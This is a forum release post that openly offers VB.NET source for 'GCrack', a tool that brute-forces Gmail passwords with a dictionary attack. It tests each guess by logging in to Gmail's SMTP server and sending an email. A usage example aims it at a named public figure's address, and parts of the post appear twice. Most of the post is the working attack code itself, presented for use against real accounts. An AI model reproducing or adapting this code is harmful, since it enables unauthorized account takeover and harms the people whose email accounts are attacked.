[Release] [Source] GCrack - Crack GMail passwords 05-17-2013, 03:21 AM
#1
GCrack - Crack GMail passwords
Introduction
Hello again SL. I'm just releasing a program that bruteforces gmail accounts. It uses a dictionary attack, and it validates the account by attempting to send an email. I measured how fast it tries 1k passwords, and it's estimated to 1k attempts each 10 minutes. But it might vary depending on your bandwidth and/or hardware.
Screenshot
![[Image: id6PoCACRjbjj.jpg]](http://i.minus.com/id6PoCACRjbjj.jpg)
Source
Download & virus scan
http://www.mediafire.com/
http://virustotal.com/
Introduction
Hello again SL. I'm just releasing a program that bruteforces gmail accounts. It uses a dictionary attack, and it validates the account by attempting to send an email. I measured how fast it tries 1k passwords, and it's estimated to 1k attempts each 10 minutes. But it might vary depending on your bandwidth and/or hardware.
Screenshot
![[Image: id6PoCACRjbjj.jpg]](http://i.minus.com/id6PoCACRjbjj.jpg)
Source
GCrack.vb Wrote:Imports System.Net.Mail
Imports System.IO
Imports System.Windows.Forms
Public Class GCrack
Private Shared Function Check(ByVal Email As String, ByVal Password As String) As Boolean
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(Email)
MyMailMessage.To.Add(Email)
MyMailMessage.Subject = "x"
MyMailMessage.Body = "x"
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(Email, Password)
SMTPServer.EnableSsl = True
Try
SMTPServer.Send(MyMailMessage)
Return True
Catch ex As SmtpException
Return False
End Try
End Function
Public Shared Function Crack(ByVal Address As String, ByVal File As String) As String
Dim Found As Boolean = False
Using SR As New StreamReader(Application.StartupPath & "\" & File)
Do While SR.Peek >= 0 And found = False
Dim line As String = SR.ReadLine()
If Check(Address, line) Then
Found = True
Return line
End If
Loop
End Using
Return Nothing
End Function
End Class
Example usage Wrote:Dim Response As String = GCrack.Crack("obama@gmail.com", "list.txt")
If Response <> Nothing Then
Console.Writeline("The password is: " & Response)
End If
Download & virus scan
http://www.mediafire.com/
http://virustotal.com/